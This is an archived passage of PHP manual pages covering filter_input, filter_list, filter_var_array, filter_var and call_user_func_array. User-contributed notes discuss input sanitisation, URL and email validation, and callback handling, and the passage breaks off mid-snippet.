Example #1 A filter_input() example

<?php
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";
?>

The above example will output something similar to:

You have searched for Me &#38; son.
<a href='?search=Me%20%26%20son'>Search again.</a>

See Also

  • filter_var() - Filters a variable with a specified filter
  • filter_input_array() - Gets external variables and optionally filters them
  • filter_var_array() - Gets multiple variables and optionally filters them
  • Types of filters

User Contributed Notes

ss23 at ss23 dot geek dot nz 28-Jul-2010 11:37
Note that this function doesn't (or at least doesn't seem to) actually filter based on the current values of $_GET etc. Instead, it seems to filter based off the original values.
<?php
$_GET['search'] = 'foo'; // This has no effect on the filter_input

$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";
?>

If you need to set a default input value and filter that, use filter_var on your required input variable instead
travismowens at gmail dot com 28-Jul-2010 09:21
I wouldn't recommend people use this function to store their data in a database.  It's best not to encode data when storing it, it's better to store it raw and convert in upon the time of need.

One main reason for this is because if you have a short CHAR(16) field and the text contains encoded characters (quotes, ampersand) you can easily take a 12 character entry which obviously fits, but because of encoding it no longer fits.

Also, while not as common, if you need to use this data in another place, such as a non webpage (perhaps in a desktop app, or to a cell phone SMS or to a pager) the HTML encoded data will appear raw, and now you have to decode the data.

In summary, the best way to architect your system, is to store data as raw, and encode it only the moment you need to.  So this means in your PHP upon doing a SQL query, instead of merely doing an   echo $row['title']  you need to run htmlentities() on your echos, or better yet, an abstract function.
med dot k1987 at yahoo dot com 30-Jun-2010 07:48
Hello,
Does anybody know how to prevent FILTER_SANITIZE_SPECIAL_CHARS from converting the line breaks (\n) into (&#10;).
I'm developing a simple commenting system for my website and I found that the php filter converts \n to &#10; so when using nl2br() there are no line breaks.
help please.
thanks :)
Maksym Karazeev 03-Mar-2009 01:13
Just a tip.

Note how to setup default filter for filter_var_array

When I tried to use filter_var_array and didn't mentioned all array indexes in definition it filtered it with some filter and broke values so using this tip corrected everything

<?php
$def = array_map(create_function('', 'return array("filter"=>FILTER_UNSAFE_RAW);'), $input);
?>
Marques Johansson 02-Jan-2008 11:30
Despite the documentation for 'type', you can specify multiple types by doing:

$test = filter_input(INPUT_GET | INPUT_POST, 'test');

This was tested in 5.2.3.

When both are set it appears to return the value defined first by variables_order (php.ini).

This trick does not seem to work in filter_input_array though.  Neither function supports INPUT_REQUEST at the moment.
vid at phpcult dot com 10-Dec-2007 12:49
If you want to use the callback filter with filter_input, you need to do something like:

$args = array ('options' => 'mycallbackfunction');

$foobar = filter_input(INPUT_POST,'postedvariable',FILTER_CALLBACK,$args);
anthony dot parsons at manx dot net 23-Aug-2007 02:10
FastCGI seems to cause strange side-effects with unexpected null values when using INPUT_SERVER and INPUT_ENV with this function. You can use this code to see if it affects your server:
<?php
var_dump($_SERVER);
foreach ( array_keys($_SERVER) as $b ) {
    var_dump($b, filter_input(INPUT_SERVER, $b));
}
echo '<hr>';
var_dump($_ENV);
foreach ( array_keys($_ENV) as $b ) {
    var_dump($b, filter_input(INPUT_ENV, $b));
}
?>
If you want to be on the safe side, using the superglobal $_SERVER and $_ENV variables will always work. You can still use the filter_* functions for Get/Post/Cookie without a problem, which is the important part!
filter_input_array
filter_list
Filter Functions


Returns a list of all supported filters

filter_input
filter_var_array
Filter Functions
PHP Manual

filter_list

(PHP 5 >= 5.2.0)

filter_list — Returns a list of all supported filters

Description

array filter_list ( void )

Return Values

Returns an array of names of all supported filters, empty array if there are no such filters. Indexes of this array are not filter IDs, they can be obtained with filter_id() from a name instead.

Examples

Example #1 A filter_list() example

<?php
print_r(filter_list());
?>

The above example will output something similar to:

Array
(
    [0] => int
    [1] => boolean
    [2] => float
    [3] => validate_regexp
    [4] => validate_url
    [5] => validate_email
    [6] => validate_ip
    [7] => string
    [8] => stripped
    [9] => encoded
    [10] => special_chars
    [11] => unsafe_raw
    [12] => email
    [13] => url
    [14] => number_int
    [15] => number_float
    [16] => magic_quotes
    [17] => callback
)

User Contributed Notes

vb dot jyoti at gmail dot com 13-Aug-2008 11:57
<?php
echo "<pre>";
print_r(filter_list());
echo "</pre>";
foreach (filter_list() as $key => $value)
{
echo "<br>".$key."=".$value.'='.filter_id($value);
}
?>

0=int=257
1=boolean=258
2=float=259
3=validate_regexp=272
4=validate_url=273
5=validate_email=274
6=validate_ip=275
7=string=513
8=stripped=513
9=encoded=514
10=special_chars=515
11=unsafe_raw=516
12=email=517
13=url=518
14=number_int=519
15=number_float=520
16=magic_quotes=521
17=callback=1024
filter_input
filter_var_array
Filter Functions


Gets multiple variables and optionally filters them

filter_list
filter_var
Filter Functions
PHP Manual

filter_var_array

(PHP 5 >= 5.2.0)

filter_var_array — Gets multiple variables and optionally filters them

Description

mixed filter_var_array ( array $data [, mixed $definition ] )

This function is useful for retrieving many values without repetitively calling filter_var().

Parameters

data

An array with string keys containing the data to filter.

definition

An array defining the arguments. A valid key is a string containing a variable name and a valid value is either a filter type, or an array optionally specifying the filter, flags and options. If the value is an array, valid keys are filter which specifies the filter type, flags which specifies any flags that apply to the filter, and options which specifies any options that apply to the filter. See the example below for a better understanding.

This parameter can be also an integer holding a filter constant. Then all values in the input array are filtered by this filter.

Return Values

An array containing the values of the requested variables on success, or FALSE on failure. An array value will be FALSE if the filter fails, or NULL if the variable is not set.

Examples

Example #1 A filter_var_array() example

<?php
error_reporting(E_ALL | E_STRICT);
$data = array(
    'product_id'    => 'libgd<script>',
    'component'     => '10',
    'versions'      => '2.0.33',
    'testscalar'    => array('2', '23', '10', '12'),
    'testarray'     => '2',
);

$args = array(
    'product_id'   => FILTER_SANITIZE_ENCODED,
    'component'    => array('filter'    => FILTER_VALIDATE_INT,
                            'flags'     => FILTER_FORCE_ARRAY,
                            'options'   => array('min_range' => 1, 'max_range' => 10)
                           ),
    'versions'     => FILTER_SANITIZE_ENCODED,
    'doesnotexist' => FILTER_VALIDATE_INT,
    'testscalar'   => array(
                            'filter' => FILTER_VALIDATE_INT,
                            'flags'  => FILTER_REQUIRE_SCALAR,
                           ),
    'testarray'    => array(
                            'filter' => FILTER_VALIDATE_INT,
                            'flags'  => FILTER_FORCE_ARRAY,
                           )

);

$myinputs = filter_var_array($data, $args);

var_dump($myinputs);
echo "\n";
?>

The above example will output:

array(6) {
  ["product_id"]=>
  array(1) {
    [0]=>
    string(17) "libgd%3Cscript%3E"
  }
  ["component"]=>
  array(1) {
    [0]=>
    int(10)
  }
  ["versions"]=>
  array(1) {
    [0]=>
    string(6) "2.0.33"
  }
  ["doesnotexist"]=>
  NULL
  ["testscalar"]=>
  bool(false)
  ["testarray"]=>
  array(1) {
    [0]=>
    int(2)
  }
}

See Also

  • filter_input_array() - Gets external variables and optionally filters them
  • filter_var() - Filters a variable with a specified filter
  • filter_input() - Gets a specific external variable by name and optionally filters it
  • Types of filters

User Contributed Notes

xavier 18-Aug-2010 01:37
When I run the script on my linux box (php 5.2.10) the output of "Example #1 A filter_var_array() example"
is actually:

array(6) {
  ["product_id"]=>
  string(17) "libgd%3Cscript%3E"
  ["component"]=>
  array(1) {
    [0]=>
    int(10)
  }
  ["versions"]=>
  string(6) "2.0.33"
  ["doesnotexist"]=>
  NULL
  ["testscalar"]=>
  bool(false)
  ["testarray"]=>
  array(1) {
    [0]=>
    int(2)
  }
}

Notice that the values of "product_id" and "versions" are not arrays.  If you add the FILTER_FORCE_ARRAY flag to the "product_id" and "versions" filter arrays then the output returns as it is outlined in the example.
eguvenc at gmail dot com 06-Jun-2009 03:45
<?php
//an example of simply sanitize an array..

$data = array(
                '<b>bold</b>',
                '<script>javascript</script>',
                'P*}i@893746%%%p*.i.*}}|.dw<?php echo "echo works!!";?>');

$myinputs = filter_var_array($data,FILTER_SANITIZE_STRING);

var_dump($myinputs);

//OUTPUT:
//formarray(3) { [0]=> string(4) "bold" [1]=> string(10) "javascript" [2]=> string(26) "P*}i@893746%%%p*.i.*}}|.dw" }
?>
Veysel zer 08-Jun-2007 03:41
Numeric keys are not allowed in the definition array
filter_list
filter_var
Filter Functions


Filters a variable with a specified filter

filter_var_array
Function Handling
Filter Functions
PHP Manual

filter_var

(PHP 5 >= 5.2.0)

filter_var — Filters a variable with a specified filter

Description

mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

Parameters

variable

Value to filter.

filter

The ID of the filter to apply. The Types of filters manual page lists the available filters.

options

Associative array of options or bitwise disjunction of flags. If filter accepts options, flags can be provided in "flags" field of array. For the "callback" filter, callback type should be passed. The callback must accept one argument, the value to be filtered, and return the value after filtering/sanitizing it.

<?php
// for filters that accept options, use this format
$options = array(
    'options' => array(
        'default' => 3, // value to return if the filter fails
        // other options here
        'min_range' => 0
    ),
    'flags' => FILTER_FLAG_ALLOW_OCTAL,
);
$var = filter_var('0755', FILTER_VALIDATE_INT, $options);

// for filter that only accept flags, you can pass them directly
$var = filter_var('oops', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);

// for filter that only accept flags, you can also pass as an array
$var = filter_var('oops', FILTER_VALIDATE_BOOLEAN,
                  array('flags' => FILTER_NULL_ON_FAILURE));

// callback validate filter
function foo($value)
{
    // Expected format: Surname, GivenNames
    if (strpos($value, ", ") === false) return false;
    list($surname, $givennames) = explode(", ", $value, 2);
    $empty = (empty($surname) || empty($givennames));
    $notstrings = (!is_string($surname) || !is_string($givennames));
    if ($empty || $notstrings) {
        return false;
    } else {
        return $value;
    }
}
$var = filter_var('Doe, Jane Sue', FILTER_CALLBACK, array('options' => 'foo'));
?>

Return Values

Returns the filtered data, or FALSE if the filter fails.

Examples

Example #1 A filter_var() example

<?php
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
?>

The above example will output:

string(15) "bob@example.com"
bool(false)

See Also

  • filter_var_array() - Gets multiple variables and optionally filters them
  • filter_input() - Gets a specific external variable by name and optionally filters it
  • filter_input_array() - Gets external variables and optionally filters them
  • Types of filters
  • information about the callback type

User Contributed Notes

marc at nwd dot mx 17-Oct-2011 10:47
Validating with no TLD is correct. If you have local servers and use it for local domain based emails (i.e. user@localhost) it's completely valid.

If you want to check for emails with TLD, you can either use a regular expression or some framework. I personally use Zend Framework's Zend_Validate_Email.
sampathperera at hotmail dot com 02-Aug-2011 10:36
PHP FILTER_VALIDATE_EMAIL validates with no TLD

<?php
var_dump(filter_var('bob@example', FILTER_VALIDATE_EMAIL));
?>

Output bool(false) expected.

But it returns: string(11) "bob@example"
joelhy 06-Jul-2011 02:44
For those looking for private ip checking, there it is:
<?php
 function is_private_ip($ip)
{
     return !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE);
}
?>
Luke America 04-Jun-2011 06:09
And ... if you also want to handle pre-encoded multi-byte international URL's, you can include the additional code here:

<?php

// convert multi-byte international url's by stripping multi-byte chars
$uri = urldecode($uri) . ' ';
$len = mb_strlen($uri);
if ($len !== strlen($uri))
{
        $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
        $uri = mb_decode_numericentity($uri, $convmap, 'UTF-8');
}
$uri = trim($uri);

// now, process pre-encoded MBI's
$regex = '#&([a-z]{1,2})(?:acute|cedil|circ|grave|lig|orn|ring|slash|th|tilde|uml);#i';
$uri_test = preg_replace($regex, '$1', htmlentities($uri, ENT_QUOTES, 'UTF-8'));
if ($uri_test != '') {$uri = $uri_test;}

?>
php at maisqi dot com 27-May-2011 07:11
FILTER_VALIDATE_URL does not support internationalized domain name (IDN). Valid or not, no domain name with Unicode chars on it will pass validation.

We can circumvent this with a home grown solutions, but C code is C code, so I've gone for the code bellow, which builds on filter_var().

<?php
$res = filter_var ($uri, FILTER_VALIDATE_URL);
if ($res) return $res;
// Check if it has unicode chars.
$l = mb_strlen ($uri);
if ($l !== strlen ($uri)) {
    // Replace wide chars by “X”.
    $s = str_repeat (' ', $l);
    for ($i = 0; $i < $l; ++$i) {
        $ch = mb_substr ($uri, $i, 1);
        $s [$i] = strlen ($ch) > 1 ? 'X' : $ch;
    }
    // Re-check now.
    $res = filter_var ($s, FILTER_VALIDATE_URL);
    if ($res) {    $uri = $res; return 1;    }
}
?>

The logic is simple. A non-ascii char is more than one byte long. We replace every one of those chars by "X" and check again.

An alternative will be to punycode the URI before calling filter_var(), but PHP lacks native support for punycode. I think my approach is effective. Please e-mail me if you think otherwise or see room for improvement.
Arvid Bergelmir 11-Jan-2010 05:18
This function will return FALSE on failure but be careful validating boolean values:

Validation failed:
<?php filter_var('abc', FILTER_VALIDATE_BOOLEAN); // bool(false) ?>

Validation correct:
<?php filter_var('0', FILTER_VALIDATE_BOOLEAN); // bool(false) ?>
drtebi at yahoo 24-Nov-2009 11:55
Notice that filter_var with FILTER_VALIDATE_EMAIL does not work if you are trying to get a String from an XML document e.g. via xpath.

I often use XML files as configuration files and use a function that returns a string from the config file via xpath. While this worked fine before 5.2.11, it doesn't anymore (and shouldn't, since it's an XML Element, not a String).

To overcome this problem, $variable can be type-casted:

<?php
$variable = fancyXmlGetFunction('from');
filter_var((String) $variable, FILTER_VALIDATE_EMAIL);
?>
suit dot 2009 at rebell dot at 07-Aug-2009 03:11
If PHP >= 5.2 is not present, you can use the regular expression of the original PHP-c-file:

http://svn.php.net/viewvc/php/php-src/trunk/ext/filter/logical_filters.c

Instead of:
<?php filter_var('bob@example.com', FILTER_VALIDATE_EMAIL)); ?>

Just use preg_match(); with a copy of the original regular expression (found in the void "php_filter_validate_email") in logical_filters.c

in fact, this expression (and the original filter-funktion) ignores RFC 5321 (Section 4.5.3.1. Size Limits and Minimums).
tedivm at tedivm dot com 22-Jun-2009 01:28
How to pass options and flags-

<?php
$options = array();
$options['options']['min_range'] = 1;
$options['options']['max_range'] = 10;
$options['flags'] = FILTER_FLAG_ALLOW_OCTAL;
filter_var(3, FILTER_VALIDATE_INT, $options);
?>
Meska 30-Apr-2009 12:08
Just a little filter to validate IP v4 & v6
This little script display result in function of the query
<?php
$ipv6="2a01:e35:aaa4:6860:a5e7:5ba9:965e:cc93";
$ipv4="82.237.3.3";
$fake = "3342423423";
$ipv4priv = "255.255.255.255";
$ipv6priv = "::1";
echo "<pre>";
echo $ipv4;
echo "<br />";
var_dump(filter_var($ipv4,FILTER_VALIDATE_IP));
echo "<br />";
echo $ipv6;
echo "<br />";
var_dump(filter_var($ipv6,FILTER_VALIDATE_IP));
echo "<br />";
echo $fake;
echo "<br />";
var_dump(filter_var($fake,FILTER_VALIDATE_IP));
echo "<br />";
echo $ipv4priv;
echo "<br/>";
echo "FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE";
echo "<br />";
var_dump(filter_var($ipv4priv,FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE));
echo "<br />";
echo $ipv4priv;
echo "<br/>";
echo "FILTER_FLAG_NO_PRIV_RANGE";
echo "<br />";
var_dump(filter_var($ipv4priv,FILTER_FLAG_NO_PRIV_RANGE));
echo "<br />";
echo $ipv6priv;
echo "<br/>";
echo "FILTER_FLAG_NO_PRIV_RANGE";
echo "<br />";
var_dump(filter_var($ipv6priv,FILTER_FLAG_NO_PRIV_RANGE));
echo "<br />";
echo $ipv6priv;
echo "<br />";
var_dump(filter_var($ipv6priv,FILTER_VALIDATE_IP));

echo "</pre>";

?>
jon dot bertsch at ucop dot edu 24-Mar-2009 07:49
Here's an actual example of the filter syntax with a flag since there doesn't appear to be a one liner for this anywhere:

'hours' => array('filter'=>FILTER_SANITIZE_NUMBER_FLOAT, 'flags' => FILTER_FLAG_ALLOW_FRACTION, 'options'=> '.')
dyer85 at gmail dot com 03-Nov-2008 02:00
Note that when using FILTER_VALIDATE_INT along with the FILTER_FLAG_ALLOW_HEX flag, the string "2f", for example, is not validated successfully, because you must use the "0x" prefix, otherwise, it treats the data as base 10.

The range options are also smart enough to recognize when the boundaries are exceeded in different bases.

Here's an example:

<?php

$foo = '256';
$bar = '0x100';
var_dump(validate_int($foo)); // false, too large
var_dump(validate_int($bar)); // false, too large

function validate_int($input)
{
  return filter_var(
    $input,
    FILTER_VALIDATE_INT,

    // We must pass an associative array
    // to include the range check options.
    array(
      'flags'   => FILTER_FLAG_ALLOW_HEX,
      'options' => array('min_range' => 1, 'max_range' => 0xff)
    )
  );
}

?>
visseraj at gmail dot com 28-Aug-2008 10:31
Here are the other possible flags that you can use:
http://us3.php.net/manual/hu/ref.filter.php
dale dot liszka at gmail dot com 09-Jul-2008 10:15
Here is how to use multiple flags (for those who learn better by example, like me):

<?php
echo "|asdf".chr(9).chr(128)."_123|";
echo "\n";
// "bitwise conjunction" means logic OR / bitwise |
echo filter_var("|asdf".chr(9).chr(128)."_123\n|" ,FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH);

/*
Results:
|asdf    �_123|
|asdf_123|
*/
?>
dale dot liszka at gmail dot com 09-Jul-2008 09:54
Using the FILTER_CALLBACK requires an array to be passed as the options:

<?php
function toDash($x){
   return str_replace("_","-",$x);
}

echo filter_var("asdf_123",FILTER_CALLBACK,array("options"=>"toDash"));
// returns 'asdf-123'
?>
John 26-Jul-2007 12:35
I managed to get this to work with PHP 5.1.6 on CentOS 5 with minor difficulty.

1) Download the PECL filter package
2) Extract the tarball
3) phpize the directory
4) ./configure
5) make
6) filter-0.11.0/logical_filters.c:25:31: error: ext/pcre/php_pcre.h: No such file or directory
7) find / -name php_pcre.h
8) Make sure php-devel is installed
9) Edit filter-0.11.0/logical_filters.c and replace "ext/pcre/php_pcre.h" with the absolute path of php_pcre.h
10) make
11) make install
12) add "extension=filter.so" to php.ini
13) Restart Apache
filter_var_array
Function Handling
Filter Functions


Function Handling

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Function handling Functions
    • call_user_func_array — Call a callback with an array of parameters
    • call_user_func — Call the callback given by the first parameter
    • create_function — Create an anonymous (lambda-style) function
    • forward_static_call_array — Call a static method and pass the arguments as array
    • forward_static_call — Call a static method
    • func_get_arg — Return an item from the argument list
    • func_get_args — Returns an array comprising a function's argument list
    • func_num_args — Returns the number of arguments passed to the function
    • function_exists — Return TRUE if the given function has been defined
    • get_defined_functions — Returns an array of all defined functions
    • register_shutdown_function — Register a function for execution on shutdown
    • register_tick_function — Register a function for execution on each tick
    • unregister_tick_function — De-register a function for execution on each tick

User Contributed Notes

There are no user contributed notes for this page.
filter_var
Introduction
Variable and Type Related Extensions


Introduction

These functions all handle various operations involved in working with functions.

User Contributed Notes

There are no user contributed notes for this page.
Function Handling
Installing/Configuring
Function Handling


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Function Handling


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Function handling Functions
Function Handling


Function handling Functions

Table of Contents

  • call_user_func_array — Call a callback with an array of parameters
  • call_user_func — Call the callback given by the first parameter
  • create_function — Create an anonymous (lambda-style) function
  • forward_static_call_array — Call a static method and pass the arguments as array
  • forward_static_call — Call a static method
  • func_get_arg — Return an item from the argument list
  • func_get_args — Returns an array comprising a function's argument list
  • func_num_args — Returns the number of arguments passed to the function
  • function_exists — Return TRUE if the given function has been defined
  • get_defined_functions — Returns an array of all defined functions
  • register_shutdown_function — Register a function for execution on shutdown
  • register_tick_function — Register a function for execution on each tick
  • unregister_tick_function — De-register a function for execution on each tick

User Contributed Notes

php dot spamguard at pulseforce dot com 27-Jan-2009 06:31
PHP is great in how it allows you to send a variable-length argument list to a function by using the func_* functions. However, unfortunately (and this has been brought up numerous time in PHP bug reports/feature requests), it doesn't support passing arguments by reference which would have greatly simplified processing multiple variables at once by simply doing: somefunction($a, $b, $c) and having them processed, without having to do any additional assignment.

However, I've discovered a way to leverage several features of PHP and created a very good example that shows how you can process multiple variables in one fell swoop!

The usage is (with my example function/class):
"list($a, $b, $c, $d, $e) = TextEscape::escape_multi($a, $b, $c, $d, $e);"

If PHP had ACTUALLY been capable of passing variables by reference when using variable-length argument lists, that could have been reduced to:
"TextEscape::escape_multi($a, $b, $c, $d, $e);"

It's extremely close though, both in simplicity and speed. Just be VERY sure to ALWAYS have the SAME NUMBER AND ORDER of arguments on both sides of that statement.

The use of a static class was just to make the code cleaner and easier to look at. This can be applied to any functions!

Now, onto the code, enjoy the sheer brilliance and enjoy modifying multiple variables at once in just ONE statement! ;-)

<?php

class TextEscape
{
    public static function escape_string($sString)
    {
        /* can be anything, using htmlspecialchars() in this example */
        return htmlspecialchars($sString);
    }

    public static function escape_multi()
    {
        /* get all variables passed to the function */
        $aVariables = func_get_args();

        /* loop through the array, escaping each variable */
        foreach ($aVariables as $iKey => $sValue)
        {
            $aVariables[$iKey] = TextEscape::escape_string($sValue);
        }

        /* return the escaped values */
        return $aVariables;
    }
}

// Create test variables
$a = "A<bar";
$b = "B>bar";
$c = "C<bar";
$d = "D>bar";
$e = "E<bar";

// Variables Before:
// Array
// (
//    [0] => A<bar
//    [1] => B>bar
//    [2] => C<bar
//    [3] => D>bar
//    [4] => E<bar
// )
print_r(array($a, $b, $c, $d, $e));

// Process every variable at once,
// we're exploiting both how list() and
// variable-length argument lists work
// to make the usage this smooth! ;-)
list($a, $b, $c, $d, $e) = TextEscape::escape_multi($a, $b, $c, $d, $e);

// Variables After:
// Array
// (
//    [0] => A&lt;bar
//    [1] => B&gt;bar
//    [2] => C&lt;bar
//    [3] => D&gt;bar
//    [4] => E&lt;bar
// )
print_r(array($a, $b, $c, $d, $e));

?>

That's the CLEAN LOOKING version of the code, which illustrates exactly what is HAPPENING.

I also made a speedfreak edition of the function, but didn't want to post it as the main example since it's harder to read.

But it's faster, much faster! It passes by reference where it can and loops in a more efficient way.

Just replace the above function with this one, the outcome is the same but the speed is better:

<?php

class TextEscape
{
    public static function escape_string(&$sString) // CHANGED: we now pass by reference to the actual text processing function
    {
        /* can be anything, using htmlspecialchars() in this example */
        $sString = htmlspecialchars($sString);
    }

    public static function escape_multi()
    {
        /* get all variables passed to the function */
        $aVariables = func_get_args();

        /* loop through the array, escaping each variable */
        for ($i=(count($aVariables)-1); $i>=0; $i--) // CHANGED: a more efficient for-loop is used instead of a foreach; and for anyone wondering about the counter declaration, this is a common optimization trick which makes it so that the size of the array only has to be checked ONCE, by initializing the counter to the index of the last element (which is size of array minus 1) and then iterating downwards until we reach 0 (the first element)
        {
            TextEscape::escape_string($aVariables[$i]); // CHANGED: this has been changed to modify the variable by reference instead
        }

        /* return the escaped values */
        return $aVariables;
    }
}

?>

Enjoy!
Michael T. McGrew 12-May-2005 09:56
An interesting way to use functions is by putting other things than PHP in them, i.e. HTML CSS. This can be useful if you will be using a format for many pages. Yes, the include function can be used also, but by defining them in functions can make them more portable in a way and keep you from having to make many include files. You could use include() when one will be putting big portions of PHP, HTML, and/or CSS and will be using them in many pages. Then you could use PHP, HTML, and/or CSS in a function when it is smaller portions of code and only want it to be on a few pages.

I have been using include() for HTML and CSS in my early days of PHP coding, but I will be using functions for that a lot more now.

<?php function a() {  ?>
<style type="text/css">
table {
border: 1px dashed black;
background: #95EAFE;
text-align:left;
width:610px;
}
.linkbar {
font-family:sans-serif;
line-height:40px;
top:1px;
text-align:center;
width:200px;
height:10px;
}
</style>
<?php }  ?>

Now doing:
<?php a(); ?>
will return all of the CSS just as if you had wrote it on the actual page, or used include() . The same thing goes for HTML code inside a function. The possibilities are endless...
michael dot bommarito at gmail dot com 30-Jan-2005 11:28
I've developed an easy-to-use hack using these functions to emulate overloaded functions.  It's especially handy for constructors and/or C++ style templating.

Here's a little example to get you going.  This does the trick for most circumstances, and if you need more intelligent parsing, it's not too hard to implement with regex or a more suitable classification scheme.

N.B. Note the lack of whitespace between variable types in case strings.

class Matrix {

...

function Matrix() {
  $args = func_get_args();
  $argmatch = implode(",", array_map('gettype', $args));

  switch( $argmatch ) {
    case 'integer,integer':
      //initialize m x n matrix
      break;

    case 'integer,integer,integer':
      //initialize m x n matrix with constant c
      break;

    case 'integer,integer,float':
      //initialize m x n matrix with constant c
      break;

    case 'array':
      //initialize from array (2D....)
      break;

    case 'array,integer':
      //intialize from array (1D packed with m rows)
      break;

    default:
      //(void) overload?
      //error handling?
      break;
  }
}

...

}
php-note-2003-june-18 at ryandesign dot com 18-Jun-2003 08:22
Xavier's example is rather complicated, and his task would be much more simply accomplished by using classes. Define a base class to do the basic functions open, dump, and close, and create extension classes to override whatever behavior.

class foo {
  function open() {
    // Default functionality for open()
  }
  function dump() {
    // Default functionality for dump()
  }
  function close() {
    // Default functionality for close()
  }
}

class bar extends foo {
  function open() {
    // Override functionality of open()
  }
  // dump() and close() remain as in class foo
}
xmontero at dsitelecom dot com 23-Aug-2002 02:49
You can do some kind of overloading functions in PHP using "function_exists".

Let's suppose you want a script to call plugins that are php files and you want the plugins to "override" behaviours that if not overriden are used by default.

You might for example write a "mySQL table viewer" which displays a table and it "opens a table", "dumps the header", "dumps row-by-row" and then "closes the table".

Let's suppose you want a plugin for "Stocks" which prints negative stocks in red, so you want to override the "dumping row-by-row" to do that behaviour. Instead you do not want to have all the "default behaviour" repeated in the plugin.

You may then do the following:

1) Define a default plugin (ex: "default.php"

2) Write all your functions in default.php to open, dump and close, but add them a suffix:

open_table_default()
dump_header_default()
dump_row_default()
close_table_default()

3) Call your functions with a wrapper: Insetad of this:
open_table() or open_table_default() write this:

plugincall("open_table");

4) Then write a function called plugincall which uses function_exists() to see if you call one or the other function:

function plugincall($desired_function_name)
{

if( function_exists( $desired_function_name))
{
    //Call the plugin
    //Note the $ before the name
    $desired_function_name()
}
else
{
  $desired_function_name = $desired_function_name . "_default";
  if( function_exists($desired_function_name))
  {
      //Call the default
      //Note the $ before the name
      $desired_function_name()
  }
  else
  {
      // Nor the plugin nor the default were defined
  }
}

So, now, if the require_once(plugin.php) contains a function called "open_table()", it will be used. Instaed, "open_table_default()" will be used.

It's not like overloading functions, but it is very useful to write scripts ampliable by other programmers: If they write a function, it is used, if not, the default is used.

See ya!
Xavier Montero.
Predefined Constants
call_user_func_array
Function Handling


Call a callback with an array of parameters

Function handling Functions
call_user_func
Function handling Functions
PHP Manual

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5)

call_user_func_array — Call a callback with an array of parameters

Description

mixed call_user_func_array ( callback $callback , array $param_arr )

Calls the callback given by the first parameter with the parameters in param_arr.

Parameters

callback

The callback to be called.

param_arr

The parameters to be passed to the callback, as an indexed array.

Return Values

Returns the return value of the callback, or FALSE on error.

Changelog

Version | Description
5.3.0 | The interpretation of object oriented keywords like parent and self has changed. Previously, calling them using the double colon syntax would emit an E_STRICT warning because they were interpreted as static.

Examples

Example #1 call_user_func_array() example

<?php
function foobar($arg, $arg2) {
    echo __FUNCTION__, " got $arg and $arg2\n";
}
class foo {
    function bar($arg, $arg2) {
        echo __METHOD__, " got $arg and $arg2\n";
    }
}

// Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two"));

// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>

The above example will output something similar to:

foobar got one and two
foo::bar got three and four

Example #2 call_user_func_array() using namespace name

<?php

namespace Foobar;

class Foo {
    static public function test($name) {
        print "Hello {$name}!\n";
    }
}

// As of PHP 5.3.0
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));

// As of PHP 5.3.0
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));

?>

The above example will output something similar to:

Hello Hannes!
Hello Philip!

Example #3 Using lambda function

<?php

$func = function($arg1, $arg2) {
    return $arg1 * $arg2;
};

var_dump(call_user_func_array($func, array(2, 4))); /* As of PHP 5.3.0 */

?>

The above example will output:

int(8)

Notes

Note:

Referenced variables in param_arr are passed to the function by reference, regardless of whether the function expects the respective parameter to be passed by reference. This form of call-time pass by reference does not emit a deprecation notice, but it is nonetheless deprecated, and will most likely be removed in the next version of PHP. Furthermore, this does not apply to internal functions, for which the function signature is honored. Passing by value when the function expects a parameter by reference results in a warning and having call_user_func() return FALSE (does not apply if the passed value has a reference count = 1).

Note:

Callbacks registered with functions such as call_user_func() and call_user_func_array() will not be called if there is an uncaught exception thrown in a previous callback.

See Also

  • call_user_func() - Call the callback given by the first parameter
  • information about the callback type
  • ReflectionFunction::invokeArgs() - Invokes function args
  • ReflectionMethod::invokeArgs() - Invoke args

User Contributed Notes

tracid2008 AT googlemail.com 22-Mar-2011 02:42
I think a better solution is to use ReflectionClass instead of call_user_func_array:

<?php
$rc = new ReflectionClass('SomeClass');
$class = $rc->newInstanceArgs(array('foo', 'bar'));

echo $class->doSomething();
?>
gaojingjing2008 at gmail dot com 14-Jan-2011 01:28
in PHP 5.2.* when pass string to $param_arr, there will not be warning, but in PHP 5.3, there was a warning
Brad Proctor 06-Nov-2010 09:07
This function is relatively slow (as of PHP 5.3.3) and if you are calling a method with a known number of parameters it is much faster to call it this way:

$class->{$method}($param1, $param2);

vs

call_user_func_array (array($class, $method), array($param1, $param2));

But if you don't know how many parameters...

The wrapper function below is slightly faster, but the problem now is that you are making two function calls.  One to the wrapper and one to the function.

However, If you are able to take this code out of the function and use it inline it is nearly twice as fast (in most cases) as calling call_user_func_array natively.

<?php
function wrap_call_user_func_array($c, $a, $p) {
    switch(count($p)) {
